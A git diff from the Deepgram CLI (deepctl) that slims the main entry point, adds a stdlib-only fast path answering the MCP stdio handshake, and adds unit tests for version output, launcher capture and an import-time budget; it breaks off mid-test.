-        "Deepgram API key to use, overriding login/profile/env credentials. "
-        "Intended for testing and CI."
-    ),
-)
-@click.option(
-    "--output",
-    "-o",
-    type=click.Choice(["json", "yaml", "table", "csv"], case_sensitive=False),
-    help="Output format",
-)
-@click.option(
-    "--quiet",
-    "-q",
-    is_flag=True,
-    help="Suppress non-essential output",
-)
-@click.option(
-    "--verbose",
-    "-v",
-    is_flag=True,
-    help="Enable verbose output",
-)
-@click.option(
-    "--timing",
-    is_flag=True,
-    help="Show performance timing information",
-)
-@click.option(
-    "--timing-detailed",
-    is_flag=True,
-    help="Show detailed performance timing information",
-)
-@click.option(
-    "--no-telemetry",
-    is_flag=True,
-    is_eager=True,
-    expose_value=False,
-    callback=_no_telemetry_cb,
-    help="No effect: this version of dg sends no telemetry",
-)
-@click.option(
-    "--non-interactive",
-    is_flag=True,
-    is_eager=True,
-    expose_value=False,
-    help="Skip interactive prompts; use defaults for any optional features.",
-)
-@click.option(
-    "--record-install-method",
-    is_eager=True,
-    expose_value=False,
-    hidden=True,
-    callback=_record_install_method_cb,
-    metavar="METHOD",
-    help="Internal: record the installation method used by the install script",
-)
-@click.pass_context
-def cli(
-    ctx: click.Context,
-    config: str | None,
-    profile: str | None,
-    base_url: str | None,
-    api_key: str | None,
-    output: str | None,
-    quiet: bool,
-    verbose: bool,
-    timing: bool,
-    timing_detailed: bool,
-) -> None:
-    """\b
-    ████████████████
-    ██████████████████
-    ████████████████████
-    █████████████████████
-    ███████      ████████
-    ███████       ███████
-                 ████████
-          ███████████████
-        ████████████████
-      ████████████████
-    ████████████████
-
-    deepctl — Official Deepgram CLI
-    STT · TTS · Audio Intelligence"""
-
-    # Enable timing if requested
-    if timing or timing_detailed:
-        enable_timing()
-
-    with TimingContext("cli_initialization"):
-        # Initialize configuration. A --base-url flag overrides the
-        # configured/env base URL for this run only; Config records that it
-        # came from the command line, so it is never saved and gets
-        # credentials only if the host is trusted.
-        ctx.ensure_object(dict)
-        ctx.obj["config"] = Config(
-            config_path=config, profile=profile, base_url=base_url
-        )
-        # Global --api-key passthrough (highest-precedence explicit credential).
-        ctx.obj["api_key"] = api_key
-        ctx.obj["timing"] = timing or timing_detailed
-        ctx.obj["timing_detailed"] = timing_detailed
-
-        # Setup output formatting
-        setup_output(
-            format_type=output or "default",
-            quiet=quiet,
-            verbose=verbose,
-        )
-
-        # Telemetry is decided here, after option parsing, so --config and
-        # --no-telemetry are honored.
-        _init_telemetry(ctx.obj["config"])
-
-
-# Load commands from entry points
-def load_commands() -> None:
-    """Load commands from package entry points."""
-    # Use the plugin manager to load all commands
-    from deepctl_core import PluginManager
-
-    with TimingContext("plugin_loading"):
-        plugin_manager = PluginManager()
-        plugin_manager.load_plugins(cli)
-
-
-# Load commands when module is imported
-load_commands()
-
-
-def _global_option_hint(message: str) -> str | None:
-    """Build a placement hint when a 'No such option' names a global option.
-
-    Global options belong before the subcommand (``dg -o json models``).
-    When one is placed after the subcommand instead (``dg models --profile
-    staging``), Click reports "No such option" with no explanation, which
-    reads as if the option does not exist at all. This looks the failing
-    option up on the root group and, when it is a global one, returns a
-    hint showing the working placement.
-    """
-    import re
-
-    match = re.search(r"[Nn]o such option:?\s*'?(--?[A-Za-z][\w-]*)'?", message)
-    if not match:
-        return None
-    token = match.group(1)
-
-    for param in cli.params:
-        opts = list(getattr(param, "opts", [])) + list(
-            getattr(param, "secondary_opts", [])
-        )
-        if token in opts:
-            takes_value = not getattr(param, "is_flag", False)
-            usage = f"{token} <value>" if takes_value else token
-            return (
-                f"[yellow]Hint: '{token}' is a global option and must come "
-                f"before the subcommand, for example: "
-                f"dg {usage} <command> ...[/yellow]"
-            )
-    return None
-
-
-def _safe_console_print(message: str) -> None:
-    """Print a diagnostic to stderr, tolerating a closed/broken stream.
-
-    When `dg` runs as an MCP server, the host can close stdio before the
-    process finishes. A write to the closed stream raises ``BrokenPipeError``
-    (or rich's ``ValueError: I/O operation on closed file``); there is nowhere
-    left to report the message, so swallow it rather than crash on exit.
-    """
-    try:
-        console.print(message)
-    except (BrokenPipeError, OSError, ValueError):
-        pass
+        sys.__excepthook__(exc_type, exc, tb)
+        return
+    sys.excepthook(exc_type, exc, tb)
 
 
 # Error handlers that never raise on a character the encoding lacks.
@@ -469,120 +103,72 @@ def safe_output_streams() -> None:
             continue  # an unknown encoding, or a closed stream
 
 
-def main() -> None:
-    """Main entry point for the CLI."""
-    safe_output_streams()
+def _print_version() -> None:
+    from deepctl import __version__
+
+    if sys.stdout is None:  # started with stdout closed (`dg --version >&-`)
+        return
     try:
-        # Check if timing was requested and enable it early
-        args = sys.argv[1:]  # Skip the program name
-        timing_requested = "--timing" in args or "--timing-detailed" in args
-        detailed_timing = "--timing-detailed" in args
-        quiet_requested = "--quiet" in args or "-q" in args
-
-        if timing_requested:
-            enable_timing()
-
-        # Install the --help telemetry footer. Telemetry itself is decided in
-        # the root callback, after option parsing. `--no-telemetry` is also
-        # applied here so it holds even after an eager `--help` before it.
+        # Byte-identical to 0.4.x, where Click's version_option printed this
+        # with prog_name="deepctl" for every console script.
+        sys.stdout.write(f"deepctl, version {__version__}\n")
+        sys.stdout.flush()
+    except BrokenPipeError:
+        # The reader went away (`dg --version | true`): exit quietly, and
+        # keep the interpreter's final flush from reporting it again.
         try:
-            from deepctl_telemetry import disable_for_run, install_help_notice
-
-            if "--no-telemetry" in _root_option_tokens(args):
-                disable_for_run()
-            install_help_notice(lambda: Config(config_path=_argv_config_path(args)))
-        except Exception:
+            devnull = os.open(os.devnull, os.O_WRONLY)
+            os.dup2(devnull, sys.stdout.fileno())
+            os.close(devnull)
+        except (OSError, ValueError):
             pass
 
-        # Start background update checks (non-blocking)
-        try:
-            from deepctl_cmd_update.startup_check import (
-                check_and_notify,
-                print_pending_notification,
-            )
 
-            check_and_notify(quiet=quiet_requested)
-        except ImportError:
-            check_and_notify = None  # type: ignore[assignment]
-            print_pending_notification = None  # type: ignore[assignment]
+def main() -> None:
+    """Run deepctl for ``sys.argv``."""
+    from time import perf_counter
 
-        try:
-            from deepctl_cmd_update.plugin_update_check import (
-                check_plugins_and_notify,
-                print_pending_plugin_notifications,
-            )
+    started_at = perf_counter()
+    capture_launcher()
+    args = sys.argv[1:]
+
+    if args == ["--version"]:
+        _print_version()
+        return
+
+    # httpx imports its optional CLI (pygments, rich.syntax) at package import
+    # and falls back to a stub on ImportError; this skips it.
+    sys.modules.setdefault("httpx._main", None)  # type: ignore[arg-type]
+
+    if args and args[0] == "mcp" and args[1:] in _FAST_MCP_ARGS:
+        from deepctl.mcp._fast import serve
+
+        sys.exit(serve())
+
+    safe_output_streams()
+    sys.excepthook = _rich_excepthook
+    from deepctl._cli import run
+
+    run(args, started_at)
+
+
+# Only at run time: type checkers then flag a misspelled name.
+if not TYPE_CHECKING:
 
-            check_plugins_and_notify(quiet=quiet_requested)
-        except ImportError:
-            print_pending_plugin_notifications = None  # type: ignore[assignment]
+    def __getattr__(name: str) -> "Any":
+        """Resolve the names that lived here before 0.5.0 from ``deepctl._cli``."""
+        if name.startswith("__"):
+            raise AttributeError(name)
+        from deepctl import _cli
 
-        # Start background AI CLI detection (non-blocking)
+        if name == "cli":
+            return _cli.get_cli()
         try:
-            from deepctl_cmd_skills.startup_check import (
-                check_and_notify as skills_check_and_notify,
-            )
-            from deepctl_cmd_skills.startup_check import (
-                print_pending_notification as print_pending_skills_notification,
-            )
-
-            skills_check_and_notify(quiet=quiet_requested)
-        except ImportError:
-            print_pending_skills_notification = None  # type: ignore[assignment]
-
-        with TimingContext("total_execution"):
-            with TimingContext("argument_preprocessing"):
-                # Preprocess arguments to handle hyphenated commands
-                processed_args = preprocess_hyphenated_commands(args)
-
-            exit_code = 0
-            with TimingContext("cli_execution"):
-                try:
-                    cli(args=processed_args, standalone_mode=False)
-                except SystemExit as exc:
-                    # Click calls sys.exit() even in non-standalone mode, so we
-                    # cannot let this propagate — the notifications and timing
-                    # summary below still need to run. But swallowing the code
-                    # outright made every failure exit 0, which is what broke
-                    # `if dg -o json keys; then ...` in scripts and CI. Carry it
-                    # and re-raise at the end instead.
-                    exit_code = exc.code if isinstance(exc.code, int) else 0
-
-        # Print update notifications if available (before timing summary)
-        if print_pending_notification is not None:
-            print_pending_notification()
-        if print_pending_plugin_notifications is not None:
-            print_pending_plugin_notifications()
-        if print_pending_skills_notification is not None:
-            print_pending_skills_notification()
-
-        # Print timing summary if timing was enabled
-        if timing_requested:
-            print_timing_summary(detailed_timing)
-
-        if exit_code:
-            sys.exit(exit_code)
-
-    except (KeyboardInterrupt, click.exceptions.Abort):
-        # Click wraps a Ctrl-C/Ctrl-D raised inside cli() in Abort when
-        # standalone_mode=False, so a mid-command interrupt arrives here as
-        # Abort, not KeyboardInterrupt. Both are user cancellation: exit 2.
-        _safe_console_print("\n[yellow]Operation cancelled by user[/yellow]")
-        sys.exit(2)
-    except click.UsageError as e:
-        # Keep the published exit-code contract (1 = error), but explain the
-        # one failure mode that reads as a lie: a *global* option placed
-        # after the subcommand, where Click says "No such option" about an
-        # option that very much exists.
-        message = e.format_message()
-        _safe_console_print(f"[red]Error: {message}[/red]")
-        hint = _global_option_hint(message)
-        if hint:
-            _safe_console_print(hint)
-        sys.exit(1)
-    except Exception as e:
-        _safe_console_print(f"[red]Error: {e}[/red]")
-        _report_error(e)
-        sys.exit(1)  # 1 = error; 2 is reserved for user interrupt
+            return getattr(_cli, name)
+        except AttributeError:
+            raise AttributeError(
+                f"module {__name__!r} has no attribute {name!r}"
+            ) from None
 
 
 if __name__ == "__main__":
diff --git a/src/deepctl/mcp/__init__.py b/src/deepctl/mcp/__init__.py
new file mode 100644
index 00000000..aa1b8e2a
--- /dev/null
+++ b/src/deepctl/mcp/__init__.py
@@ -0,0 +1 @@
+"""The ``dg mcp`` fast path (stdlib only). See ``deepctl.mcp._fast``."""
diff --git a/src/deepctl/mcp/_fast.py b/src/deepctl/mcp/_fast.py
new file mode 100644
index 00000000..1dea724e
--- /dev/null
+++ b/src/deepctl/mcp/_fast.py
@@ -0,0 +1,237 @@
+"""``dg mcp`` over stdio: the handshake answered locally, stdlib only.
+
+An MCP host spawns ``dg mcp`` and waits for the ``initialize`` result before
+it does anything else, so that answer must not wait for Click, the
+``deepctl_core`` imports or a connection to Deepgram's MCP service. This
+module answers ``initialize``, ``ping`` and ``tools/list`` from fixed local
+data, using only ``sys``, ``os`` and ``json`` (the import allowlist in
+``bench/gates.json``).
+
+The first ``tools/call`` after ``initialize`` goes to
+``deepctl_cmd_mcp.serve_after_handshake``, which connects to the service
+and serves the rest of the session. When that can't start (no API key, no
+network), the call gets a tool error and this loop keeps serving, so the
+host never sees the server die. Every other method, ``server/discover``
+included, gets "Method not found" here and never causes a connection; a
+``tools/call`` before ``initialize`` gets "not initialized".
+
+Contract with ``deepctl_cmd_mcp.serve_after_handshake(initialize_params,
+pending_message, stdin, stdout)``: ``stdin``/``stdout`` are the binary
+streams this loop reads and writes (with whatever is still buffered); it
+returns the process exit code when the session ends, and raises an
+``Exception`` only if it could not start, before it has read stdin or
+written stdout. Its message is the complete text shown to the client.
+
+Nothing but JSON-RPC is ever written to stdout. Diagnostics go to stderr.
+"""
+
+import json
+import os
+import sys
+
+TYPE_CHECKING = False
+if TYPE_CHECKING:
+    from typing import Any, BinaryIO
+
+# Protocol versions this server (and the proxy it hands off to) accepts; a
+# client asking for one gets it back, any other gets the newest.
+SUPPORTED_PROTOCOL_VERSIONS = ("2025-11-25", "2025-06-18", "2025-03-26", "2024-11-05")
+LATEST_PROTOCOL_VERSION = SUPPORTED_PROTOCOL_VERSIONS[0]
+
+SERVER_NAME = "deepgram-mcp"
+
+# Fixed local text, never passed through from the remote service
+# (SECURITY-S6). W4.1 owns this text and the tool table below.
+INSTRUCTIONS = (
+    "Deepgram developer documentation search. Call "
+    "search_deepgram_knowledge_sources with a question about Deepgram's "
+    "speech-to-text, text-to-speech, Voice Agent or audio intelligence APIs, "
+    "SDKs or CLI. Results are passages from Deepgram's documentation, each "
+    "with its source URL; cite the URL when you use a passage."
+)
+
+# The tool names are the remote service's (kapa's); the descriptions and
+# schemas are ours. W4.1 keeps this table in sync with the service.
+TOOLS = [
+    {
+        "name": "search_deepgram_knowledge_sources",
+        "title": "Search Deepgram documentation",
+        "description": (
+            "Search Deepgram's documentation, API reference and guides. "
+            "Returns the most relevant passages, each with its source URL."
+        ),
+        "inputSchema": {
+            "type": "object",
+            "properties": {
+                "query": {
+                    "type": "string",
+                    "description": "A question or search terms, in natural language.",
+                }
+            },
+            "required": ["query"],
+        },
+        "annotations": {"readOnlyHint": True, "openWorldHint": True},
+    }
+]
+
+PARSE_ERROR = -32700
+INVALID_REQUEST = -32600
+METHOD_NOT_FOUND = -32601
+INTERNAL_ERROR = -32603
+
+# Shown when the proxy package itself can't be imported.
+CANT_START = "dg mcp can't start the documentation search: {reason}"
+
+
+def _write(out: "BinaryIO", message: "dict[str, Any]") -> None:
+    out.write(json.dumps(message, separators=(",", ":")).encode("utf-8") + b"\n")
+    out.flush()
+
+
+def _result(out: "BinaryIO", msg_id: object, result: "dict[str, Any]") -> None:
+    _write(out, {"jsonrpc": "2.0", "id": msg_id, "result": result})
+
+
+def _error(out: "BinaryIO", msg_id: object, code: int, message: str) -> None:
+    _write(
+        out,
+        {"jsonrpc": "2.0", "id": msg_id, "error": {"code": code, "message": message}},
+    )
+
+
+def _initialize_result(params: "dict[str, Any]") -> "dict[str, Any]":
+    from deepctl import __version__
+
+    requested = params.get("protocolVersion")
+    version = (
+        requested
+        if requested in SUPPORTED_PROTOCOL_VERSIONS
+        else LATEST_PROTOCOL_VERSION
+    )
+    return {
+        "protocolVersion": version,
+        "capabilities": {"tools": {"listChanged": False}},
+        "serverInfo": {"name": SERVER_NAME, "version": __version__},
+        "instructions": INSTRUCTIONS,
+    }
+
+
+def _hand_off_failed(out: "BinaryIO", message: "dict[str, Any]", text: str) -> None:
+    """Answer the request that couldn't be handed off; the loop goes on."""
+    sys.stderr.write(f"ERROR: {text}\n")
+    sys.stderr.flush()
+    if "id" not in message:
+        return
+    if message.get("method") == "tools/call":
+        # A tool execution error, which the model gets to see (MCP spec).
+        _result(
+            out,
+            message["id"],
+            {"content": [{"type": "text", "text": text}], "isError": True},
+        )
+    else:
+        _error(out, message["id"], INTERNAL_ERROR, text)
+
+
+def _hand_off(
+    initialize_params: "dict[str, Any]",
+    message: "dict[str, Any]",
+    inp: "BinaryIO",
+    out: "BinaryIO",
+) -> "int | None":
+    """Run the rest of the session through the proxy; None if it can't start."""
+    try:
+        from deepctl_cmd_mcp import serve_after_handshake
+    except ImportError as exc:
+        _hand_off_failed(out, message, CANT_START.format(reason=exc))
+        return None
+    try:
+        code: int = serve_after_handshake(initialize_params, message, inp, out)
+    except Exception as exc:
+        _hand_off_failed(out, message, str(exc) or type(exc).__name__)
+        return None
+    return code
+
+
+def _silence_stdout() -> None:
+    """The client closed stdout: drop further writes, including at exit."""
+    try:
+        devnull = os.open(os.devnull, os.O_WRONLY)
+        os.dup2(devnull, sys.stdout.fileno())
+        os.close(devnull)
+    except (OSError, ValueError):
+        pass
+
+
+def serve(
+    inp: "BinaryIO | None" = None,
+    out: "BinaryIO | None" = None,
+) -> int:
+    """Serve one MCP stdio session; return the process exit code."""
+    if inp is None:
+        if sys.stdin is None:
+            return 0
+        inp = sys.stdin.buffer
+    if out is None:
+        out = sys.stdout.buffer
+
+    initialize_params: dict[str, Any] | None = None
+    msg_id: object = None
+    try:
+        while True:
+            msg_id = None
+            line = inp.readline()
+            if not line:
+                return 0  # the client closed stdin
+            if not line.strip():
+                continue
+            try:
+                message = json.loads(line)
+            except ValueError:
+                _error(out, None, PARSE_ERROR, "Parse error")
+                continue
+            if not isinstance(message, dict) or message.get("jsonrpc") != "2.0":
+                _error(out, None, INVALID_REQUEST, "Invalid Request")
+                continue
+            method = message.get("method")
+            if not isinstance(method, str):
+                continue  # a response to a request we never sent
+            if "id" not in message:
+                continue  # notifications/initialized, cancelled, ...: nothing to do
+            msg_id = message["id"]
+
+            if method == "initialize":
+                params = message.get("params")
+                initialize_params = params if isinstance(params, dict) else {}
+                _result(out, msg_id, _initialize_result(initialize_params))
+            elif method == "ping":
+                _result(out, msg_id, {})
+            elif method == "tools/list":
+                _result(out, msg_id, {"tools": TOOLS})
+            elif method != "tools/call":
+                # server/discover, resources/list, ...: nothing to hand off.
+                _error(out, msg_id, METHOD_NOT_FOUND, f"Method not found: {method}")
+            elif initialize_params is None:
+                _error(
+                    out,
+                    msg_id,
+                    INVALID_REQUEST,
+                    "Not initialized: send initialize first",
+                )
+            else:
+                code = _hand_off(initialize_params, message, inp, out)
+                if code is not None:
+                    return code
+    except KeyboardInterrupt:
+        return 0
+    except BrokenPipeError:
+        _silence_stdout()
+        return 0
+    except Exception as exc:
+        sys.stderr.write(f"ERROR: dg mcp stopped: {exc}\n")
+        sys.stderr.flush()
+        try:
+            _error(out, msg_id, INTERNAL_ERROR, "Internal error")
+        except Exception:
+            pass
+        return 1
diff --git a/tests/unit/test_entry_point.py b/tests/unit/test_entry_point.py
new file mode 100644
index 00000000..083c8ad8
--- /dev/null
+++ b/tests/unit/test_entry_point.py
@@ -0,0 +1,252 @@
+"""The light entry point: argv peek, ``__main__``, launcher capture.
+
+Most cases run a fresh interpreter, because what's under test is what a new
+process imports and prints.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import subprocess
+import sys
+import textwrap
+from pathlib import Path
+
+import pytest
+from click.testing import CliRunner
+
+ENTRY = "import sys; from deepctl.main import main; sys.exit(main())"
+
+
+def _env(home: Path, **extra: str) -> dict[str, str]:
+    env = {
+        k: v
+        for k, v in os.environ.items()
+        if not k.startswith(("DEEPGRAM_", "PYTHON", "DEEPCTL_LAUNCHER"))
+    }
+    env.update(
+        HOME=str(home),
+        XDG_CONFIG_HOME=str(home / ".config"),
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+        CI="1",
+    )
+    env.update(extra)
+    return env
+
+
+def _run(
+    argv: list[str], home: Path, stdin: bytes = b"", **env: str
+) -> subprocess.CompletedProcess[str]:
+    return subprocess.run(
+        argv,
+        input=stdin.decode(),
+        capture_output=True,
+        text=True,
+        env=_env(home, **env),
+        timeout=60,
+    )
+
+
+class TestVersion:
+    def test_fast_path_matches_click_byte_for_byte(self, tmp_path: Path) -> None:
+        """The argv peek prints exactly what Click's version_option prints."""
+        from deepctl._cli import cli
+
+        click_out = CliRunner().invoke(cli, ["--version"]).output
+        fast = _run([sys.executable, "-c", ENTRY, "--version"], tmp_path)
+        assert fast.returncode == 0
+        assert fast.stdout == click_out
+        assert fast.stderr == ""
+
+    def test_python_dash_m_and_isolated(self, tmp_path: Path) -> None:
+        from deepctl import __version__
+
+        for argv in (
+            [sys.executable, "-m", "deepctl", "--version"],
+            [sys.executable, "-I", "-m", "deepctl", "--version"],
+        ):
+            proc = _run(argv, tmp_path)
+            assert proc.returncode == 0, proc.stderr
+            assert proc.stdout == f"deepctl, version {__version__}\n"
+
+    def test_closed_pipe_and_closed_stdout_exit_quietly(self, tmp_path: Path) -> None:
+        """`dg --version | true` and `dg --version >&-`: exit 0, no traceback."""
+        code = (
+            "import os, subprocess, sys\n"
+            "r, w = os.pipe(); os.close(r)\n"
+            f"p = subprocess.run([sys.executable, '-c', {ENTRY!r}, '--version'],"
+            " stdout=w, stderr=subprocess.PIPE, text=True)\n"
+            "print(p.returncode, repr(p.stderr))\n"
+            f"p = subprocess.run([sys.executable, '-c', {ENTRY!r}, '--version'],"
+            " stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True,"
+            " preexec_fn=lambda: os.close(1))\n"
+            "print(p.returncode, repr(p.stderr))\n"
+        )
+        proc = _run([sys.executable, "-c", code], tmp_path)
+        assert proc.stdout.splitlines() == ["0 ''", "0 ''"], proc.stdout
+
+    def test_version_constant_matches_metadata(self) -> None:
+        import importlib.metadata
+
+        from deepctl import __version__
+
+        assert __version__ == importlib.metadata.version("deepctl")
+
+
+class TestPackage:
+    def test_deepctl_exports_no_main(self, tmp_path: Path) -> None:
+        code = (
+            "import deepctl; assert not hasattr(deepctl, 'main'), 'main exported'; "
+            "assert 'main' not in deepctl.__all__"
+        )
+        proc = _run([sys.executable, "-c", code], tmp_path)
+        assert proc.returncode == 0, proc.stderr
+
+    def test_old_names_still_resolve_from_deepctl_main(self) -> None:
+        import click
+
+        import deepctl._cli as cli_mod
+        import deepctl.main as main_mod
+
+        assert isinstance(main_mod.cli, click.Group)
+        assert main_mod.cli is cli_mod.cli
+        # Reading `cli` loads the commands, as importing this module used to.
+        assert cli_mod._commands_loaded
+        assert callable(main_mod.preprocess_hyphenated_commands)
+        with pytest.raises(AttributeError):
+            main_mod.no_such_name  # noqa: B018
+
+    def test_unknown_command_through_dash_m(self, tmp_path: Path) -> None:
+        proc = _run([sys.executable, "-I", "-m", "deepctl", "nosuchcmd"], tmp_path)
+        # Usage errors keep the published contract: 1 = error.
+        assert proc.returncode == 1
+        assert "No such command 'nosuchcmd'" in proc.stderr
+        assert proc.stdout == ""
+
+
+class TestLauncher:
+    def test_popped_on_every_path(self, tmp_path: Path) -> None:
+        """DEEPCTL_LAUNCHER is read once, and no child process inherits it."""
+        code = textwrap.dedent(
+            """
+            import json, subprocess, sys
+            import deepctl.main as m
+            try:
+                m.main()
+            except SystemExit:
+                pass
+            child = subprocess.run(
+                [sys.executable, "-c",
+                 "import os; print(os.environ.get('DEEPCTL_LAUNCHER'))"],
+                capture_output=True, text=True,
+            ).stdout.strip()
+            print(json.dumps({"launcher": m.LAUNCHER, "child": child}))
+            """
+        )
+        for args in (["--version"], ["--quiet", "--version"], ["mcp"]):
+            proc = _run(
+                [sys.executable, "-c", code, *args],
+                tmp_path,
+                DEEPCTL_LAUNCHER="npm",
+            )
+            assert proc.returncode == 0, proc.stderr
+            result = json.loads(proc.stdout.strip().splitlines()[-1])
+            assert result == {"launcher": "npm", "child": "None"}, args
+
+    def test_capture_is_once(self, monkeypatch: pytest.MonkeyPatch) -> None:
+        import deepctl.main as m
+
+        monkeypatch.setattr(m, "LAUNCHER_CAPTURED", False)
+        monkeypatch.setattr(m, "LAUNCHER", None)
+        monkeypatch.setenv("DEEPCTL_LAUNCHER", "npx")
+        assert m.capture_launcher() == "npx"
+        assert "DEEPCTL_LAUNCHER" not in os.environ
+        monkeypatch.setenv("DEEPCTL_LAUNCHER", "npm")
+        assert m.capture_launcher() == "npx"
+
+
+class TestUncaughtException:
+    def test_rich_traceback_without_locals_and_clean_stdout(
+        self, tmp_path: Path
+    ) -> None:
+        """An exception that escapes main() gets rich's traceback, no locals."""
+        code = textwrap.dedent(
+            """
+            import sys
+            import click
+            import deepctl._cli as c
+
+            class Escape(BaseException):
+                pass
+
+            @c.cli.command("boom")
+            def boom():
+                secret = "-".join(["LOCAL", "SENTINEL"])  # noqa: F841
+                raise Escape("escaped")
+
+            sys.argv = ["dg", "-o", "json", "boom"]
+            from deepctl.main import main
+            main()
+            """
+        )
+        proc = _run([sys.executable, "-c", code], tmp_path)
+        assert proc.returncode == 1
+        assert proc.stdout == ""
+        assert "Traceback" in proc.stderr
+        assert "Escape" in proc.stderr
+        assert "LOCAL-SENTINEL" not in proc.stderr
+
+
+@pytest.mark.skipif(
+    sys.platform != "linux" or os.geteuid() == 0,
+    reason="needs Linux and a non-root user (root reads mode-000 directories)",
+)
+class TestUnreadableHome:
+    """An unreadable HOME costs the plugins, not the run."""
+
+    @pytest.fixture
+    def home(self, tmp_path: Path):
+        home = tmp_path / "h"
+        home.mkdir()
+        home.chmod(0)
+        yield home
+        home.chmod(0o700)
+
+    @pytest.mark.parametrize("args", [["--version"], ["models", "--help"]])
+    def test_exit_0_one_line_no_traceback(self, home: Path, args: list[str]) -> None:
+        proc = _run([sys.executable, "-c", ENTRY, *args], home)
+        assert proc.returncode == 0, proc.stderr
+        assert proc.stdout
+        assert "Traceback" not in proc.stderr
+        lines = [line for line in proc.stderr.splitlines() if line.strip()]
+        assert len(lines) <= 1, lines
+        assert all(line.startswith("WARN: Couldn't load plugins: ") for line in lines)
+
+
+class TestHttpxCliGuard:
+    def test_import_httpx_skips_its_cli(self, tmp_path: Path) -> None:
+        """After main(), httpx has its stub CLI, not the click one."""
+        code = textwrap.dedent(
+            """
+            import inspect
+            import sys
+
+            sys.argv = ["dg", "--help"]
+            from deepctl.main import main
+            try:
+                main()
+            except SystemExit:
+                pass
+            import httpx
+            print(
+                sys.modules["httpx._main"] is None,
+                inspect.isfunction(httpx.main),
+                file=sys.stderr,
+            )
+            """
+        )
+        proc = _run([sys.executable, "-c", code], tmp_path)
+        assert proc.returncode == 0, proc.stderr
+        assert proc.stderr.split()[-2:] == ["True", "True"], proc.stderr
diff --git a/tests/unit/test_import_budget.py b/tests/unit/test_import_budget.py
new file mode 100644
index 00000000..9f356277
--- /dev/null
+++ b/tests/unit/test_import_budget.py
@@ -0,0 +1,208 @@
+"""Import budget for the fast paths.
+
+``dg --version`` and the ``dg mcp`` handshake start without Click or
+``deepctl_core``. Each path runs in a fresh interpreter with
+``-X importtime`` and its imports are checked against the same allowlist and
+forbidden lists as the benchmark gates (``bench/gates.json``
+``imports``), mirrored below. When ``bench/gates.json`` is in the tree, the test
+also checks that the two copies match.
+
+The ``--help`` and ``<cmd> --help`` lists come with the lazy command group.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import subprocess
+import sys
+from pathlib import Path
+from typing import Any
+
+import pytest
+
+REPO = Path(__file__).resolve().parents[2]
+
+# Mirrors bench/gates.json "imports" exactly.
+GATES_IMPORTS: dict[str, Any] = {
+    "first_party_prefixes": ["deepctl"],
+    "allowlist": {
+        "paths": ["version", "mcp"],
+        "first_party": ["deepctl", "deepctl.main", "deepctl.mcp", "deepctl.mcp._fast"],
+        "stdlib_exclude": [
+            "asyncio",
+            "ssl",
+            "socket",
+            "concurrent",
+            "threading",
+            "http",
+            "urllib",
+            "email",
+            "logging",
+        ],
+        "dotted_exclude": ["importlib.metadata"],
+        "extra": [
+            "__main__",
+            "_distutils_hack",
+            "_virtualenv",
+            "sitecustomize",
+            "usercustomize",
+        ],
+    },
+    "forbidden": {
+        "version": [
+            "deepgram",
+            "httpx",
+            "keyring",
+            "pydantic",
+            "rich.traceback",
+            "asyncio",
+        ],
+        "help": [
+            "deepgram",
+            "httpx",
+            "keyring",
+            "pydantic",
+            "rich.traceback",
+            "asyncio",
+        ],
+        "subhelp": [
+            "deepgram",
+            "httpx",
+            "keyring",
+            "rich.traceback",
+            "asyncio",
+            "ssl",
+        ],
+    },
+}
+
+# Checked here only: the public gates leave sentry_sdk out until
+# 0.5.0 publishes.
+UNIT_ONLY_FORBIDDEN = {"version": ["sentry_sdk"], "mcp": ["sentry_sdk"]}
+
+# The console script's own code: `from deepctl.main import main; main()`.
+ENTRY = "import sys; from deepctl.main import main; sys.exit(main())"
+
+IMPORT_LINE = re.compile(r"^import time:\s+\d+\s+\|\s+\d+\s+\|\s?(\s*)(\S+)\s*$")
+
+MCP_SESSION = [
+    # mcp 2.x clients probe server/discover first (answered -32601 locally).
+    {"jsonrpc": "2.0", "id": 0, "method": "server/discover", "params": {}},
+    {
+        "jsonrpc": "2.0",
+        "id": 1,
+        "method": "initialize",
+        "params": {
+            "protocolVersion": "2025-11-25",
+            "capabilities": {},
+            "clientInfo": {"name": "import-budget", "version": "1"},
+        },
+    },
+    {"jsonrpc": "2.0", "method": "notifications/initialized"},
+    {"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}},
+]
+
+
+def _env(tmp_path: Path) -> dict[str, str]:
+    env = {
+        k: v for k, v in os.environ.items() if not k.startswith(("DEEPGRAM_", "PYTHON"))
+    }
+    env.update(
+        HOME=str(tmp_path),
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+        CI="1",
+    )
+    return env
+
+
+def _imports(
+    args: list[str], tmp_path: Path, stdin: bytes = b""
+) -> tuple[subprocess.CompletedProcess[bytes], list[str]]:
+    proc = subprocess.run(
+        [sys.executable, "-X", "importtime", "-c", ENTRY, *args],
+        input=stdin,
+        capture_output=True,
+        env=_env(tmp_path),
+        timeout=60,
+    )
+    modules = []
+    for line in proc.stderr.decode("utf-8", "replace").splitlines():
+        match = IMPORT_LINE.match(line)
+        if match:
+            modules.append(match.group(2))
+    assert modules, "no -X importtime output"
+    return proc, modules
+
+
+def _forbidden_hits(modules: list[str], forbidden: list[str]) -> list[str]:
+    return sorted(
+        {f for f in forbidden for m in modules if m == f or m.startswith(f + ".")}
+    )
+
+
+def _allowlist_violations(modules: list[str]) -> list[str]:
+    """bench/lib/measure.py classify(), for a path on the allowlist."""
+    allow = GATES_IMPORTS["allowlist"]
+    std = set(sys.stdlib_module_names)
+    prefixes = tuple(GATES_IMPORTS["first_party_prefixes"])
+    excluded = set(allow["stdlib_exclude"])
+    dotted = tuple(allow["dotted_exclude"])
+    violations = []
+    for m in modules:
+        top = m.split(".")[0]
+        if m in allow["extra"]:
+            continue
+        if top.startswith(prefixes):
+            if m not in allow["first_party"]:
+                violations.append(m)
+            continue
+        if (
+            top not in std
+            or top in excluded
+            or any(m == d or m.startswith(d + ".") for d in dotted)
+        ):
+            violations.append(m)
+    return violations
+
+
+def test_mirror_matches_bench_gates() -> None:
+    gates = REPO / "bench" / "gates.json"
+    if not gates.exists():
+        pytest.skip("bench/gates.json is not in this tree yet")
+    assert json.loads(gates.read_text())["imports"] == GATES_IMPORTS
+
+
+def test_version_path_imports(tmp_path: Path) -> None:
+    proc, modules = _imports(["--version"], tmp_path)
